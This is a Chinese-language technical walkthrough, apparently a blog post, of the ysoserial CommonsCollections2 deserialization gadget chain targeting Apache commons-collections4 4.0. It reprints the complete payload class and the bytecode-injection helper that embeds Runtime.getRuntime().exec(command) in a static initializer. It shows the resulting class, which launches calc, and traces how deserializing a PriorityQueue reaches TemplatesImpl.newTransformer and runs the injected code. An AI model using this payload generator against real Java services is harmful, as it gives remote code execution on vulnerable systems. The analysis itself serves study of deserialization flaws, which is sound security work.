CommonsCollections2
源码
针对org.apache.commons:commons-collections4:4.0
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);}
}
轻车熟路看getObject方法。
3.1、TemplatesImpl
final Object templates = Gadgets.createTemplatesImpl(command);
createTemplatesImpl最后会执行的代码:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replace("\\", "\\\\").replace("\"", "\\\"") +"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
clazz.writeFile("./testaa.class");
final byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;}
相关参数如下:
image-20230612103515425先从final T templates = tplClass.newInstance();
创建了一个tplClass的实例
随后ClassPool pool = ClassPool.getDefault();
利用javassist技术创建了一个类池。ClassPool.getDefault()方法返回默认的ClassPool类型的对象,该实例使用当前线程的上下文类加载器作为其父加载器,并包含了当前运行环境中所有可见的类路径和JAR文件。
使用pool.insertClassPath把StubTransletPayload和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet添加到类池中。
执行final CtClass clazz = pool.get(StubTransletPayload.class.getName());
从类池里面将StubTransletPayload赋值给clazz变量,后门要修改他的字节码
设置好需要执行的代码cmd,最后cmd的值为java.lang.Runtime.getRuntime().exec("calc");
利用clazz.makeClassInitializer().insertAfter(cmd);
修改StubTransletPayload的字节码:
- 首先给用makeClassInitializer给clazz创建一个类初始化器(类初始化器是一个特殊的静态代码块,它在类被加载时自动执行)
- 使用insertAfter方法的作用是将
cmd
插入到类初始化器的末尾
接下去的前三行代码分别为:
- 设置clazz的类名称
- 使用get命令从类池里面把abstTranslet赋值给变量superC
- 把superC也就是abstTranslet类,设置成clazz的父类
writeFile
是我自己新增的,ysoserial中没有,作用是把clazz保存为文件testaa.class
可以查看以下testaa.class的内容:
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
public class Pwner262950924766100 extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public Pwner262950924766100() {}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
static {
Object var1 = null;
Runtime.getRuntime().exec("calc");}
}
上面就是clazz的代码
下一步新建一个字节数组,使用toBytecode把clazz转换成字节码赋值给字节数组
image-20230612105623193image-20230612105723409接下去设置templates的一些属性,templates是最开始tplClass实例化的对象,先看一下templates的代码,这时一个很长的类,这三个属性值在后面会被修改,最重要的还是_bytecodes
image-20230612110116267image-20230612110145753接下去就是对templates的三个属性值进行赋值,其中_bytecodes被赋值为clazz的字节码,最后返回templates。
image-202306121058227323.2、InvokerTransformer
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
实例化了InvokerTransformer,进入它的构造方法,InvokerTransformer的构造函数接收三个参数:方法名称、参数类型、参数。
InvokerTransformer
在前几篇文章里面应该有提到,在这个类中存在一个transform方法,可以通过反射调用方法。
3.3、PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
创建了一个优先队列PriorityQueue,并指定了一个比较器TransformingComparator。new TransformingComparator(transformer)
的构造方法如下,进行简单的赋值。
但是在PriorityQueue的构造方法中,this.comparator的值被赋值为new TransformingComparator(transformer)
往queue里面添加的两个值之后开始修改transformer的属性iMethodName,iMethodName被修改为newTransformer
image-20230612112109354接着把queue的第一个元素修改成templates
image-20230612112143925最后返回queue,到此getObject的代码结束,接下去就是常见的序列化
image-20230612112257253总结
接下去从反序列化过程入手逆推利用过程,刚刚被序列化的是PriorityQueue类型的对象queue,会到PriorityQueue的代码,发现它重写了readObject,在它被反序列化时会执行这里面的代码
image-20230612112748927接着会进入heapify--->siftDown--->siftDownUsingComparator,最后在siftDownUsingComparator调用comparator.compare
image-20230612114451118在前面构造queue的时候,this.comparator是new TransformingComparator(transformer)
image-20230612114623348image-20230612114636891所以调用了TransformingComparator.compare
image-20230612150551287在new TransformingComparator(transformer)
传入的参数为InvokerTransformer类型的对象transformer,并且的值被赋值为this.transformer
所以this.transformer.transform
调用的为InvokerTransformer的transform
在InvokerTransformer.transform中获得了TemplatesImpl类
image-20230612140314229由于iMethodName已经被修改为newTransformer,所以Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
获得到的是TemplatesImpl类的newTransformer方法
TemplatesImpl#newTransformer
public synchronized Transformer newTransformer()throws TransformerConfigurationException{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver); }
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);}
return transformer;
}
继续跟进getTransletInstance(),进入getTransletInstance之后会调用一个defineTransletClasses(),在其中存在把_class属性变成我们Java字节码的行为
image-20230612150157703紧接着回到getTransletInstance继续执行并实例化我们的字节码成功rce。
image-20230612150313403image-20230612150726724